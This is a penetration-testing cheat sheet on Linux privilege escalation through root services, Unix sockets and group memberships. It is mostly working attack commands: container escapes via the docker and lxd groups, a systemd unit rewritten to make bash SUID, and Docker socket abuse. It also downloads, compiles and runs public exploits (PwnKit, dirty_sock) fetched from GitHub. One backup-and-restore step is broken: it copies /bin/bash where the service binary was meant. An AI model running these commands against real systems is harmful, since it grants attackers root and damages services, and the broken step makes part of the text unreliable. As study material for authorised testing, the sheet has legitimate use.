PrivEsc - Services & Sockets
Sections PrivEsc - Services & Sockets
09 PrivEsc - Services & Sockets
Services running as root, sockets you can talk to, group memberships that grant root access.
i. Enumerate
Services running as root:
ps -eo user,pid,cmd | awk '$1=="root"' | sort -u
systemctl list-units --type=service --state=running
Internal listening sockets, often have weaker auth:
ss -tlnp | grep '127.0.0.1\|::1'
ss -xlnp ## unix domain sockets
ls -la /var/run/*.sock /tmp/*.sock /run/*.sock 2>/dev/null
Groups you belong to:
id
## Look for: docker, lxd, lxc, disk, video, adm, sudo, wheel, sys
ii. Group-based privesc
docker group, instant root, you don’t need sudo:
docker run -v /:/host -it alpine chroot /host bash
## Or just for shell:
docker run --rm -it -v /:/mnt --privileged alpine chroot /mnt
lxd / lxc group, full root via container:
## On attacker, build minimal alpine image:
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && ./build-alpine
## Transfer alpine-v*.tar.gz to target
## On target:
lxc image import alpine-*.tar.gz --alias myimg
lxc init myimg pwn -c security.privileged=true
lxc config device add pwn host disk source=/ path=/mnt/host recursive=true
lxc start pwn
lxc exec pwn /bin/sh
## You're root inside, /mnt/host is the real /
disk group, read /dev/sda directly = read /etc/shadow:
debugfs /dev/sda1
debugfs: cat /etc/shadow
adm group, read all system logs, may catch credentials in logs:
ls -la /var/log
grep -RiE 'pass|cred|token' /var/log/ 2>/dev/null
video group, read framebuffer, can capture console screenshots if a root user is at the physical console (unusual on servers but watch for it on workstations).
sudo / wheel group, sudo is allowed but needs a password unless NOPASSWD set, see 06 PrivEsc - SUID & Sudo
.
iii. Writable systemd unit
A service runs as root and the unit file is writable:
find /etc/systemd /lib/systemd /usr/lib/systemd -type f -writable 2>/dev/null
## or check specific units:
grep -RH 'ExecStart' /etc/systemd/system/ 2>/dev/null | head
If writable, change ExecStart and restart:
sed -i 's|ExecStart=.*|ExecStart=/bin/bash -c "chmod +s /bin/bash"|' /etc/systemd/system/x.service
systemctl daemon-reload
systemctl restart x.service ## may need sudo, or wait for reboot
/bin/bash -p
If you can’t restart the service, look for one that auto-restarts or runs on a timer.
iv. Writable service binary
The unit’s ExecStart points to a binary you can overwrite:
grep -RH 'ExecStart' /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | awk -F= '{print $2}' | awk '{print $1}' | sort -u > /tmp/svc-bins
while read b; do [ -w "$b" ] && echo "WRITABLE: $b"; done < /tmp/svc-bins
If yes, replace it:
cp /bin/bash /tmp/orig.bin ## backup the original first
cat > /usr/local/bin/svc <<'EOF'
#!/bin/bash
chmod +s /bin/bash
exec /tmp/orig.bin "$@"
EOF
v. D-Bus services
Talking to a privileged D-Bus service often skips PolicyKit checks if misconfigured:
busctl list ## list services
busctl introspect org.freedesktop.systemd1 /org/freedesktop/systemd1
## Send a method call:
busctl call org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager StartUnit ss "x.service" "replace"
vi. Polkit / pkexec PwnKit (CVE-2021-4034)
Affects almost every Linux from 2009 to Jan 2022:
## Check version
pkexec --version
## Exploit (no auth needed)
git clone https://github.com/ly4k/PwnKit
cd PwnKit && make && ./PwnKit
## Or the famous one-binary version
curl -sL https://github.com/arthepsy/CVE-2021-4034/raw/main/cve-2021-4034-poc.c -o p.c
gcc p.c -o p && ./p
vii. Unix domain sockets
A privileged service listening on a Unix socket, the socket is world-writable, the protocol is weak:
ls -la /var/run/*.sock
## Talk to it with socat or nc -U:
nc -U /var/run/somedaemon.sock
socat - UNIX-CONNECT:/var/run/somedaemon.sock
Common abusable sockets:
/var/run/docker.sock-> Docker API, instant root if you can read it/run/snapd-snap.socket-> Snap, see dirty_sock (CVE-2019-7304)- Custom app sockets, fuzz the protocol
Docker socket without docker CLI:
curl --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"]}}' \
http://localhost/containers/create
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<id>/start
viii. Internal services on localhost
Services bound to 127.0.0.1 are often less hardened. Foothold patterns:
ss -tlnp | grep '127.0.0.1'
Tunnel them to your attacker box, see Pivoting -> SSH local forward:
ssh -L 6379:127.0.0.1:6379 user@target ## Redis on the loopback
Common loopback services worth poking:
- Redis with no auth -> 02 Service Enum -> Redis SSH key trick
- Memcached -> data exfil, sometimes auth bypass
- MongoDB on localhost
- Internal admin panels on weird ports
- App debug ports (Tomcat 8005 shutdown, Node debugger 9229)
Node debugger on localhost = RCE:
ssh -L 9229:127.0.0.1:9229 user@target
## On attacker:
chrome://inspect ## attach to the node process, eval arbitrary JS
ix. Snap dirty_sock (CVE-2019-7304)
Snap < 2.37.1 on Ubuntu:
snap version
## If vuln:
git clone https://github.com/initstring/dirty_sock
python3 dirty_sock/dirty_sockv2.py
x. Cleanup
Restore any modified unit files, kill containers you spawned:
docker ps ## containers from your privesc
docker rm -f <id>
lxc list && lxc delete pwn --force
## Restore the original service binary:
mv /tmp/orig.bin /usr/local/bin/svc
systemctl daemon-reload